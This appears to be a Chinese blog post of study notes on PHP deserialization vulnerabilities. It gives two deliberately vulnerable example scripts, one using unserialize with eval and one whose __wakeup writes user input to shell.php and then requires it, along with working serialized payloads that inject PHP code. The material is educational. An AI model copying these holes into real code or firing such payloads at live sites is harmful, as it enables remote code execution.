首页 > 其他分享 >day5-day6(休息日)

day5-day6(休息日)

时间:2024-07-15 10:53:13浏览次数:8  
标签:fp php day6 22% day5 休息日 test 序列化 class2

php序列化和反序列化

1.

2.

3.漏洞示例

1)字符型的反序列化

<?php
show_source(__FILE__);
$KEY = "test";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
	eval('phpinfo();');
}
else 
	echo 'try it again';
?>

payload: ?str=s:4:"test";          #具体加不加;感觉有时候不确定

image
示例github地址:https://github.com/poemThesky/poemThesky.github.io/blob/81e37af083d62444a41bac00d693d113b23f3640/课件相关例题/php反序列化实例1.php

2)调⽤ wakeup

<?php
show_source(__FILE__);
class test{
public $test;
function __wakeup(){
	$fp = fopen("shell.php","w") ;
	fwrite($fp,$this->test);
	fclose($fp);
	}
}
$class2 = $_GET['ser'];
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
@require "shell.php";
?>

payload脚本:O%3A4%3A%22test%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A15%3A%22%3C%3F+phpinfo%28%29%3B%3F%3E%22%3B%7D
<?php
class test{
	public $test="<? phpinfo();?>";
	function __wakeup(){
		$fp = fopen("shell.php","w") ;
		fwrite($fp,$this->test);
		fclose($fp);
	}
}
$a = new test();
$b = serialize($a);
echo urlencode($b);
?>

github示例二地址:
githubpayload地址:

标签:fp,php,day6,22%,day5,休息日,test,序列化,class2
From: https://www.cnblogs.com/poemThesky/p/18301736

相关文章

  • Day68 代码随想录打卡|回溯算法篇---子集
    题目(leecodeT78):给你一个整数数组 nums ,数组中的元素 互不相同 。返回该数组所有可能的子集(幂集)。解集 不能 包含重复的子集。你可以按 任意顺序 返回解集。方法:本题为求子集问题,采用回溯算法解决,与之前的组合与分割问题我们最后收集的是树上的叶子节点不同。子集......
  • Day66 代码随想录打卡|回溯算法篇---分割回文串
    题目(leecodeT131):给你一个字符串 s,请你将 s 分割成一些子串,使每个子串都是 回文串。返回 s 所有可能的分割方案。方法:本题是一个分割回文串的问题,是回溯算法的另一类问题。针对一个字符串,我们要对其进行分割,并且确保分割后生成的子串也必须全都是回文串。分析回溯三......
  • 编程题目积累(day5)
    题目:源数组a,将a中所有元素乘以2之后添加进a,则这个a就叫双倍数组,给你一个数组a,判断它是不是双倍数组,如果是则输出源数组,不是则输出空数组。补充知识:python中枚举和字典的区别枚举类和字典_枚举类和字典-CSDN博客列表推导公式:cforbina: 参考链接:python之列表推导式......
  • Day6 (哈希表)| 454.四数相加II 383.赎金信 15.三数之和 18.四数之和
    454.四数相加II给你四个整数数组nums1、nums2、nums3和nums4,数组长度都是n,请你计算有多少个元组(i,j,k,l)能满足:0<=i,j,k,l<nnums1[i]+nums2[j]+nums3[k]+nums4[l]==0示例1:输入:nums1=[1,2],nums2=[-2,-1],nums3=[-1,2],nums4=[0,2]......
  • Day5(哈希表) |242.有效的字母异位词 & 349.两个数组的交集 & 202.快乐数&1.两数之和
    242.有效的字母异位词给定两个字符串*s*和*t*,编写一个函数来判断*t*是否是*s*的字母异位词。注意:若*s*和*t*中每个字符出现的次数都相同,则称*s*和*t*互为字母异位词。示例1:输入:s="anagram",t="nagaram"输出:true示例2:输入:s="rat",t="c......
  • Day65 代码随想录打卡|回溯算法篇---组合总和II
    题目(leecodeT40):给定一个候选人编号的集合 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合。candidates 中的每个数字在每个组合中只能使用 一次 。注意:解集不能包含重复的组合。 方法:本题的要求是每个元素在组合中只能......
  • 强化学习(Monte Carlo learning)-Today6
    MonteCarlolearning简称MC,是model-free算法,也就是不基于模型的算法,Today5发布的valueiterationandPolicyiterationalgorithm是model-based算法,是基于模型的算法,也就是说,没有模型的构建,需要数据的支撑,MC包括三个算法,分别是MCBasic、MCExploringStarts和这三个算法,......
  • day62--若依框架(基础应用篇)
    若依搭建若依版本官方若依官方针对不同开发需求提供了多个版本的框架,每个版本都有其独特的特点和适用场景:前后端混合版本:RuoYi结合了SpringBoot和Bootstrap的前端开发框架,适合快速构建传统的Web应用程序,其中前端和后端代码在同一项目中协同工作。前后端分离版本:RuoYi-Vu......
  • Day61 代码随想录打卡|回溯算法篇---组合优化
    本篇是针对上一题的优化,因为在计算所有可能的组合结果时,不是每一条路径都是我们需要遍历的,如图,当n和k都为4的时候,其实最终的结果只有一个[1,2,3,4]是符合结果的。因此我们遍历的时候就不需要遍历每一条边,而是只需要沿着1,2,3,4的路径直接下来即可。那么我们怎么控制循环变量使得......
  • Day6 四数之和II,赎金信,三数之和,四数之和
    四数之和II 在这道题中我们要做的是寻找次数,所以在这个代码中这个次数就是value因为我们是通过key来寻找value。所以为了寻找这个次数我们需要把这个我们要找的数当做值,由此我们需要根据键来寻找值!!!#include<iostream>#include<unordered_map>usingnamespacestd;#inc......